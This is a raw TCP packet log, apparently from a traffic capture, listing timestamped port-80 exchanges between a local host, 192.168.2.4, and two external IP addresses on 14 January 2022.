Jan 14, 2022 09:24:59.633616924 CET	80	49773	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:59.907728910 CET	49774	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.926353931 CET	80	49774	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:59.930547953 CET	49774	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.930694103 CET	49774	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.932509899 CET	49774	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.948623896 CET	80	49774	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:59.949959993 CET	80	49774	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:00.052834988 CET	80	49774	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:00.053014040 CET	49774	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.053267002 CET	49774	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.070507050 CET	80	49774	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:00.082914114 CET	49775	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.100903034 CET	80	49775	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:00.100996017 CET	49775	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.101351976 CET	49775	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.101387024 CET	49775	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.118777990 CET	80	49775	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:00.221487999 CET	80	49775	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:00.224498034 CET	49775	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.250431061 CET	49775	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.268131018 CET	80	49775	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:00.278577089 CET	49776	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.296108007 CET	80	49776	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:00.296245098 CET	49776	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.296350956 CET	49776	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.297825098 CET	49776	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.313702106 CET	80	49776	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:00.315283060 CET	80	49776	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:00.418025970 CET	80	49776	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:00.418343067 CET	49776	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.418565035 CET	49776	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:00.426628113 CET	49777	80	192.168.2.4	185.186.142.166
Jan 14, 2022 09:25:00.435934067 CET	80	49776	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:00.483220100 CET	80	49777	185.186.142.166	192.168.2.4
Jan 14, 2022 09:25:00.985346079 CET	49777	80	192.168.2.4	185.186.142.166
Jan 14, 2022 09:25:01.042015076 CET	80	49777	185.186.142.166	192.168.2.4
Jan 14, 2022 09:25:01.547843933 CET	49777	80	192.168.2.4	185.186.142.166
Jan 14, 2022 09:25:01.604538918 CET	80	49777	185.186.142.166	192.168.2.4
Jan 14, 2022 09:25:01.666572094 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:01.684102058 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:01.684206963 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:01.684281111 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:01.684849977 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:01.701833010 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:01.702070951 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:01.809964895 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:01.810058117 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:01.810340881 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:01.828099012 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:01.841980934 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:01.859357119 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:01.859595060 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:01.859750986 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:01.859767914 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:01.877048969 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:01.877120972 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:01.980530024 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:01.980627060 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:01.980865002 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:01.998287916 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.298381090 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.315738916 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.315850019 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.315969944 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.376662016 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.418742895 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.418781996 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.418800116 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.418817997 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.418833971 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.418852091 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.418869972 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.418886900 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.418895006 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.418905020 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.418915987 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.418920994 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.418925047 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.418930054 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.418993950 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.436132908 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.458637953 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.458692074 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.458729029 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.458729982 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.458771944 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.458795071 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.458811045 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.458849907 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.458857059 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.458889961 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.458926916 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.458941936 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.458969116 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.459011078 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.459018946 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.459048986 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.459089041 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.459095001 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.459130049 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.459170103 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.459184885 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.459211111 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.459249973 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.459259033 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.459290981 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.459331036 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.459338903 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.476586103 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.476630926 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.476655960 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.476665020 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.476680040 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.476747036 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498074055 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498106956 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498126984 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498135090 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498146057 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498167038 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498184919 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498186111 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498202085 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498207092 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498226881 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498245001 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498248100 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498261929 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498280048 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498297930 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498300076 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498316050 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498333931 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498338938 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498352051 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498361111 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498370886 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498385906 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498390913 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498409033 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498426914 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498436928 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498444080 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498462915 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498466969 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498481035 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498497963 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498498917 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498517036 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498532057 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498537064 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498554945 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498572111 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498579979 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498589993 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498606920 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498610020 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498625040 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498636961 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498642921 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498661995 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498678923 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498681068 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498696089 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498713017 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498713970 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498733044 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498747110 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.498749971 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498768091 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.498783112 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.516092062 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.516118050 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.516134977 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.516141891 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.516149998 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.516168118 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.516168118 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.516200066 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.537533045 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537568092 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537595987 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537625074 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537626028 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.537653923 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537672043 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.537682056 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537710905 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537724972 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.537736893 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537765980 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537784100 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.537795067 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537822008 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537856102 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.537863016 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537897110 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537904978 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.537924051 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537952900 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.537964106 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.537982941 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538009882 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538029909 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538037062 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538064957 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538079977 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538093090 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538119078 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538140059 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538146019 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538175106 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538192987 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538204908 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538233042 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538249016 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538259983 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538289070 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538300991 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538316965 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538346052 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538357973 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538373947 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538403034 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538415909 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538431883 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538456917 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538472891 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538482904 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538508892 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538523912 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538537025 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538563967 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538578987 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538590908 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538618088 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538633108 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538654089 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538681984 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538706064 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538708925 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538737059 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538758039 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538764000 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538791895 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538806915 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538817883 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538846016 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538868904 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.538875103 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.538919926 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.556318998 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556361914 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556400061 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556433916 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.556436062 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556474924 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556495905 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.556541920 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556587934 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556598902 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.556628942 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556679010 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556693077 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.556721926 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556770086 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.556778908 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556821108 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556859970 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556869984 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.556900978 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556940079 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.556956053 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.556983948 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557024002 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557034969 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.557061911 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557101965 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557112932 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.557141066 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557179928 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557180882 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.557218075 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557255030 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557286978 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.557293892 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557332993 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557337999 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.557373047 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557411909 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557415009 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.557450056 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557487965 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.557490110 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557529926 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557566881 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557569981 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.557606936 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557647943 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557660103 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.557687998 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557728052 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557728052 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.557765961 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557805061 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557806969 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.557842970 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.557904005 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.557909012 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577027082 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577086926 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577099085 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.577131033 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577167988 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.577172041 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577217102 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577253103 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.577255964 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577296972 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577332020 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.577336073 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577373981 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577414036 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577414989 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.577455997 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577495098 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.577497005 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577538013 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577573061 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.577575922 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577615023 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577650070 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.577651978 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577692986 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577729940 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.577730894 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577769995 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:02.577805042 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:02.577809095 CET	80	49780	8.209.70.0	192.168.2.4
